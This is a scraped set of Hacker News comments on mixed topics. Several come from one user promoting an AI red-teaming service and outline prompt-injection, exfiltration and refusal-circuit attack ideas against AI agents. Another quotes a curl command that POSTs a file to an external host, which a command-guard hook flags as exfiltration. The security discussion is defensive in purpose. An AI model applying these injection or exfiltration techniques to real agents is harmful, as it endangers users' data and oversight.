MurphyA/hacker-news huggingface dataset:
by ozgurozkan | 2026-03-12 14:56:25+00:00
The Unix-philosophy framing resonates — focused, composable, single-purpose agents are genuinely safer architecturally than monolithic long-lived sessions with massive context windows.

That said, composability introduces its own attack surface. When agents chain together via pipes or tool calls, each handoff is a trust boundary. A compromised upstream output becomes a prompt injection vector for the next agent in the chain.

This is one of the patterns we stress-test at audn.ai (https://audn.ai) — we do adversarial testing of AI agents and MCP tool chains. The depth-limited sub-agent delegation you mention is exactly the kind of structure where multi-step drift and argument injection can cause real damage. A malicious intermediate output can poison a downstream agent's context in ways that are really hard to audit after the fact.

The small binary / minimal deps approach is great for reducing supply chain risk. Have you thought about trust boundaries between agents when piping? Would be curious whether there's a signing or validation layer planned between agent handoffs.
by kartoffelsaft | 2026-03-12 14:56:54+00:00
I think we disagree either on what detail-oriented or vibe-coding means.

When I say vibe-coding, what I'm referring to is telling an AI your requirements and then using it's output without reading and/or understanding it. If I can point to some of the code and ask what it's doing there, and no one can answer that as if they're an author of that codebase, then it's vibe-coded. To not be able to is to imply those details were not important enough for any programmer to have considered.

I've done that before, in fact; I made a daily habit tracker for myself that way to cater to my own weird needs. I just find not knowing the details of a project intensely uncomfortable, and if I were to pay enough attention to it's output to alleviate that discomfort it would no longer be vibe-coding.

> you can use the technology of today in ways people with adhd can't.

You say this, but funnily enough I've seriously considered that I might have ADHD and should get examined for it. It feels like there's dozens of symptoms people describe as ADHD that I have, from weird things like sleeping immediately after having caffeine to having trouble listening to a full sentence. My inability to form habits intentionally has been pretty bad for my health already, and I'm not even that old.
by jobisgreat | 2026-03-12 14:56:54+00:00
Hiring: Supabase Engineer (Automation System)

I’m building an automation system that uses Supabase as the central data layer connected to Shopify and several AI-driven workflow agents.

The system is designed to support a partner distribution network and will automate:

lead discovery

outreach workflows

partner onboarding

referral attribution

Shopify webhook ingestion

commission calculations

analytics dashboards

The core architecture is centered around Supabase handling all system state, with automation agents reading and writing to the database to trigger workflows.

What I need help with initially:

designing the Supabase schema

building reliable webhook ingestion from Shopify

implementing idempotent commission calculations

structuring the database for automation agents to safely interact with it

Experience with Supabase, Postgres, API integrations, and event-driven systems is ideal.

This will begin as an initial architecture build, with the potential for a longer-term development relationship as the system scales.

If this sounds interesting, send me a message and I can share more details about the architecture and project scope.
by ozgurozkan | 2026-03-12 14:57:09+00:00
Cloakpipe solves a real tension cleanly — pseudonymization that preserves semantic meaning for embeddings is genuinely hard, and the AES-256-GCM encrypted vault with memory zeroing shows thoughtful security design.

One dimension worth pressure-testing: the rehydration step. The proxy receives the LLM response and substitutes real entities back in. That rehydration layer is a potential exfiltration vector if the LLM can be made to include token patterns in its response that survive the substitution. We've run adversarial tests where an AI agent was instructed (via injected context) to embed entity tokens in its output in ways that leak the mapping.

We do this kind of adversarial testing at audn.ai (https://audn.ai) — specifically data leak and PII exfiltration scenarios against RAG and agentic pipelines. Sensitive data leak and re-identification are two of the risk categories we cover explicitly.

For fintech/legal use cases especially, would be worth running a red team pass on the rehydration and vault lookup logic. Happy to connect if that'd be useful.
by hibikir | 2026-03-12 14:57:19+00:00
I don't know how fixable that one is via just spending: There's a significant component of just selecting for student quality, interest in studying and parentally funded support when a student is struggling. It's a non-trivial part of the US' love of sprawl: Fewer kids of different levels of means will live near you. So when parents say they buy a house for "good schools" they aren't just saying funding per student. And yes, we have this too even in areas without a significant racial component. Making sure only very expensive houses are around you, and keeping housing prices up, has an effect on schooling, even if just by selecting for kids of parents that can afford the big houses.

Ultimately the American parent is paying for the kids education either way: Either by buying a more expensive house near said "good schools", or by paying a private school, which is allowed to be selective in their admissions and match students. Making all schools actually be about the same is not just a matter of funding them equally, but you'd have to end the student segregation (even when it's in legal ways(, which is quite the challenge.

For instance, around me, there's some really bad school districts that end up grabbing very large mansions. But what happens there is that none of the kids of people living in those mansions actually go to public school. So while it might not be economically difficult to up the funding of the schools near poorer neighborhoods, I don't even necessarily think that they will get the same outcomes for the same funding: The selection component is going to change performance.
by toomuchtodo | 2026-03-12 14:57:38+00:00
Smoking is at historic lows (~10%, I'll look for a citation before the edit window expires). Screening doesn't stop smoking, poor people will still be poor, smokers will still smoke, although GLP-1s may fix this [1] [2]. There doesn't seem to be political will to simply ban cigarettes, so here we are. Making cigarettes expensive for poor people who smoke destroys demand, no? Otherwise, we accept the cancer rates for their choice and freedom to smoke knowing the consequences.

[1] https://news.ycombinator.com/item?id=47280797

[2] https://medicine.washu.edu/news/glp-1-medications-get-at-the...
by ozgurozkan | 2026-03-12 14:57:54+00:00
The AI honeypot angle is the most interesting part of this to me — injecting prompt instructions into LLM scrapers is essentially offensive prompt injection deployed as a defense. Clever inversion.

That's a real deterrent against naive AI scrapers, but it also raises an arms race question: once LLM-powered crawlers start sanitizing their context windows or running decontamination passes on scraped HTML before ingesting it, the honeypot signal gets stripped. The adversarial dynamic here is similar to what we see in AI agent security more broadly.

We work on the other side of this at audn.ai (https://audn.ai) — we do adversarial testing of AI agents and interfaces, including prompt injection and instruction override scenarios. The techniques you're deploying offensively (injecting malicious instructions into scraper context) are the exact same techniques we test AI products against defensively.

The forensic breadcrumb idea for proving content theft is underexplored. Have you looked at watermarking approaches (semantic or token-level) that survive LLM paraphrasing? That's where the real content provenance problem gets interesting.
by jmyeet | 2026-03-12 14:57:57+00:00
There was a time when there was less restraint with what prosecuting a war looked like. The Mongols famously wiped out the Khwarazmian Empire after the Sultan killed their traders.

But given the growth in destructive power, particularly with the advent of the nuclear age, it became necessary to establish some rules or norms for war and I'm referring specifically to the Geneva Conventions [1]. Conventions here cover that wounded people and civilians aren't military targets. So it's not my opinion or Iran's opinion that matters.

The question then is do we live in an interntional rules-based order or not? The US and Israel have ignored the rules-based order in favor of "might is right" politics.

As for tech firms, I'm sorry but a company like Palantir has made itself a valid military target [2][3]. And if you work there, you are really no different from the Reaper Drone pilot who fires Hellfire missiles at, say, a wedding procession [4].

[1]: https://en.wikipedia.org/wiki/Geneva_Conventions

[2]: https://www.972mag.com/lavender-ai-israeli-army-gaza/

[3]: https://www.business-humanrights.org/en/latest-news/palantir...

[4]: https://aoav.org.uk/2014/drone-strike-yemen/
by cucumber3732842 | 2026-03-12 14:58:08+00:00
This is explicitly not done because they would develop sympathy for the locals.

The last thing some legislators and lobbyists who've cooked up a law that will make their benefactors rich at the expense of some other random industry is to have the enforcement bureaucracy in charge of actually doing it pushing back because it's nonsensical.

Imagine if the EPA was located in Detroit.

I bet we wouldn't have 450k mandated warranties on heavy truck emissions components (which serves what purpose beyond front loading that cost into the purchase, the last thing you want if you want these cleaner newer trucks on the road)
by dfox | 2026-03-12 14:58:17+00:00
All the magic of Smalltalk is in the development tools that work by means of introspection into the running image, writing source code in text files causes you to lose all that. Add to that the fact that Smalltalk when written as source files is quite verbose.

Smalltalk does have standard text source file format, but that format is best described as human-readable, not human-writable. The format is essentially a sequence of text blocks that represent operations done to the image in order to modify it to a particular state interspersed with "data" (mostly method source code, but the format can store arbitrary stuff as the data blocks).

One exception to this is GNU Smalltalk which is meant to be used with source files and to that end uses its own more sane source file syntax.
by ozgurozkan | 2026-03-12 14:58:21+00:00
The Agent Council architecture is fascinating from a security perspective. When you have multiple models debating and a Judge synthesizing, you've created an interesting adversarial setup — but also a new attack surface.

A few threat models worth thinking about:

1. Council poisoning: if one expert agent is compromised (via prompt injection in its context), can it shift the debate and influence the Judge's synthesis in a way the other agents don't catch? The debate format might actually make it harder to detect than a single-model override.

2. Judge manipulation: the Judge model that synthesizes the final answer is a high-value target. If an attacker can craft inputs that consistently bias the Judge even when council members disagree, the debate architecture gives false confidence.

3. Cross-session leak: with persistent memory across runs, can information from one session bleed into another through the council's shared state?

We test these kinds of multi-agent adversarial scenarios at audn.ai (https://audn.ai) — our RL-SEC loop runs Red Team AI vs Blue Team AI in exactly this kind of structured debate/synthesis setup. The multi-agent dynamics produce failure modes single-model testing misses entirely.

Would be curious how the council handles deliberate misinformation injected into one expert's context.
by schipperai | 2026-03-12 14:58:33+00:00
Thanks! In my own work the LLM only fires for 5% of the commands - big token savings.

When it does kick in it gets: the command itself, the action type + why it was flagged - for example 'lang_exec = ask', the working directory and project context so it knows if its inside the project, and recent conversation transcript - 12k charts by default and configurable.

The transcript context is pulled from Claude Code's JSONL conversation log. Tool calls get summarized compactly like [Read: .env], [Bash: curl ...]) so the LLM can see the chain of actions without blowing up the prompt. I also include anti-injection framing in the prompt so that it does't try and run the instructions in the transcript.

curl after the agent read .env does get flagged by nah:

'''
curl -s https://httpbin.org/post -d @/tmp/notes.txt
POST notes.txt contents to httpbin

Hook PreToolUse:Bash requires confirmation for this command:
nah? LLM suggested block: Bash (LLM): POSTing file contents to external host. Combined with recent conversation context showing credential files being read, this appears to be data exfiltration. Even though httpbin.org is a legitimate ech...
'''
by jasonjmcghee | 2026-03-12 14:58:56+00:00
It's only a few lines of code to use the built-in liquid glass.

As far as I can tell, this doesn't use it.

https://developer.apple.com/documentation/SwiftUI/Applying-L...

https://developer.apple.com/documentation/technologyoverview...

Also, for the vibe that this is going for, very surprised the title bar was left in.

---

Code has lots of claims that something is done and it isn't.
by ozgurozkan | 2026-03-12 14:59:14+00:00
"Maintaining a deny list is a fool's errand" — this is exactly right, and the semantic classification approach (what does this tool call actually do, not what is it named) is much more robust.

The line "200 IQ Opus can find a way around it" is worth taking seriously as a design constraint though. A deterministic classifier run in milliseconds gives you defense-in-depth, but a sufficiently capable model can craft tool calls that are semantically classified as benign while achieving harmful outcomes — the classic specification gaming problem.

This is exactly the attack category we test at audn.ai (https://audn.ai): we run autonomous adversarial AI against AI agents to find the gaps between what a policy says and what the model actually does. The "context" classification category in nah is particularly interesting — ambiguous cases escalated to an LLM create a second attack surface where the escalation prompt itself can be manipulated.

Have you thought about adversarial inputs specifically designed to get commands classified as 'context' (requiring human review) as a DoS vector, or conversely to push dangerous commands into 'allow' via carefully crafted context? Would be worth running a red team pass on the classifier boundaries specifically. Happy to share what we've seen.
by kapitalx | 2026-03-12 14:59:31+00:00
Hey HN, I built Switchboard because I was running 15-20 Claude Code sessions across different projects and constantly losing track of them. Digging through ~/.claude/projects to find a conversation from a few days ago got old fast, and I kept wanting to save certain sessions to come back to later.

The worst part was switching back to a terminal tab after 20 minutes thinking it was doing work, only to find it had been sitting there waiting for a permission approval the whole time.

It's not a new UI on top of Claude — it just runs the actual Claude Code CLI in a built-in terminal. You get the same experience, just organized.

Key things I find useful:

- In-app alerts when a session is waiting for permission approval or user input
- Full-text search across all session content (powered by SQLite FTS5)
- Star and archive sessions to save the ones worth revisiting
- Fork any session to branch off from a known good state
- Set default CLI parameters per project or globally (permissions, worktree, etc.)
- Picks up session names from Claude Code's /rename command automatically

Tech: Electron, better-sqlite3, node-pty, xterm.js. Data stays local in
~/.switchboard.
by Jeremy1026 | 2026-03-12 14:59:43+00:00
Is using the surveillance state the solution to this problem though? I personally don't think so. There are other solutions, utility bills in the families name, ownership/rental documents, etc. Will there be some number of people that cheat the system? Absolutely. Will there be some number of people that learn about the license plate trackers and buy a $500 beater and park it on the right street to "beat them"? Also absolutely.

Personally, I think schools shouldn't be funded solely by the taxes of residents that reside within their bounds, but as a collective pool of all tax revenue. That'll not happen in my lifetime though, too many people bought houses in "the right neighborhood" to get their kids into the "good" school that there would be so much push back that no politician would dare touch it. Especially since those people are typically also the ones with the money.
by joezydeco | 2026-03-12 14:59:44+00:00
It's the suburbs of Chicago. Funding for schools is largely from local property taxes, which creates large gradients in the quality of those schools between towns.

Towns with better school districts command higher property values, creating a positive feedback loop in resources but also pricing younger families out of those same areas.

Another typical situation is a divorce, where one parent moves out of the expensive town but still wants the kids to attend the same schools for continuity.
by sriramgonella | 2026-03-12 14:59:48+00:00
This kind of dataset is really valuable because most conversations about AI coding tools are based on anecdotes rather than actual usage patterns.
I’d be curious about a few things from the sessions:

1.how often developers accept vs modify generated code
2.which tasks AI consistently accelerates (tests, refactoring, boilerplate?)
3.whether debugging sessions become longer or shorter with AI assistance

My experience so far is that AI is great for generating code but the real productivity boost comes when it helps navigate large codebases and reason about existing architecture.
by ozgurozkan | 2026-03-12 14:59:55+00:00
The insight that browser-agent failures are mostly about stale state rather than model misunderstanding is sharp — and the solution of freezing JS execution then capturing fresh state after each action is elegant.

From a security standpoint though, this architecture creates an interesting new attack surface. Websites can now deliberately exploit the agent's state-sync assumptions. A few scenarios worth thinking about:

- Alert/confirm injection: you already handle alert() interrupts, but a malicious site could use these not just accidentally but deliberately to manipulate agent flow — triggering confirms at the right moment to get the agent to approve actions it didn't intend to.

- State poisoning: if the structured summary sent back to the agent after each action is generated from page content, prompt injection via the DOM becomes a serious vector. A site could embed hidden instructions in the page that get captured in the "notable events" summary and influence the agent's next decision.

- Download triggers: you mention downloads are a failure mode. That's also a social engineering vector — trigger a download at a critical moment to interrupt and redirect agent flow.

We test exactly these browser-based adversarial scenarios at audn.ai (https://audn.ai) — prompt injection via web content into AI agent context is a core test category. We even have a browser extension (Audn Blue Browser) in the works for enterprise-level defense. ABP looks like a great foundation; would be worth thinking about adversarial site behavior as a first-class threat model.
by komali2 | 2026-03-12 15:00:03+00:00
> Not dropping out at that point is just refusing to acknowledge reality and insisting on wasting everyone's time.

Sure, but, there's nothing incentivizing the candidate to not waste time. At the very least, they can get free interview practice.

I get that that's very annoying when you're on the hiring side, but it's not all so bad in the end, you're getting paid for your time!
by fxwin | 2026-03-12 15:00:08+00:00
I thought that line was kind of funny: When a CI run fails, you don't rerun it and wait for the result, you rerun it and check why the original run failed in the meantime. Is it flaky? Is it a pipeline issue? Connectivity issue? Did some Key expire?

If you just rerun and don't go to find out what exactly caused CI to fail, you end up at the author's conclusion:

> (but it could also just have been flaky again).
by adam_arthur | 2026-03-12 15:00:08+00:00
There is so much misinformed fear-mongering about private credit right now.

Important Facts:

1) The majority of private credit funds are classed as "permanent capital". When you put money into these vehicles, you give the Asset Manager discretion over when to give the money back. Redemptions are often gated at ~5% per quarter.

(So there cannot, by definition, be a run on the bank)

2) Credit is senior to equity, so if you expect mass defaults in private credit, it means the majority of private equity is effectively wiped out. Private equity has to be effectively a 0 before private credit takes any losses.

3) The average "recovery rate" for senior secured loans is 80%. Even if private equity gets wiped to 0, the loss that private credit incurs is cushioned significantly by the collateral backing the loan. These are not unsecured loans the borrower can just walk away from.

4) Default rates on many of the major private credit managers is ~<1% in recent years. There are other estimates stating higher default rates, but that often classifies PIK income as a default. A loan modified and extended with added PIK that ultimately gets repaid is not a "true" default.

5) Finally, it's true that NAVs are likely overstated, but generally it's by a modest amount. Every Asset Manager today could go out tomorrow, mark NAVs down by 20% and suddenly there is no crisis.

(The stocks of Asset Managers have already traded down such that this seems expected and priced in anyway)
by ozgurozkan | 2026-03-12 15:00:40+00:00
The functional circuit hypothesis is fascinating — that pretraining carves out discrete blocks of ~7 layers that only work when preserved whole explains a lot about why naive weight surgery usually fails while this succeeded.

One question this raises from an adversarial robustness perspective: if the benchmark-relevant capabilities live in identifiable functional circuits, those same circuits are potentially the most targeted by adversarial attacks. A model that scores extremely well on reasoning benchmarks precisely because it has well-crystallized reasoning circuits might be more vulnerable to attacks that specifically target those circuits — jailbreaks, prompt injections, and adversarial inputs crafted to interfere with the specific layer blocks you identified.

We build and use large unrestricted LLMs for adversarial testing at audn.ai (https://audn.ai) — our Pingu Unchained model (GPT-OSS 120B base) is specifically optimized to find attack paths that safety-tuned models refuse to explore. The layer duplication finding is directly relevant to us: if circuits that encode refusal behavior can be identified and surgically modified (or duplicated into configurations that interfere with them), that's a new attack primitive.

Have you looked at whether the performance gains are uniform across benchmark categories, or whether certain capabilities (e.g. instruction following vs. reasoning) respond differently to the circuit block size?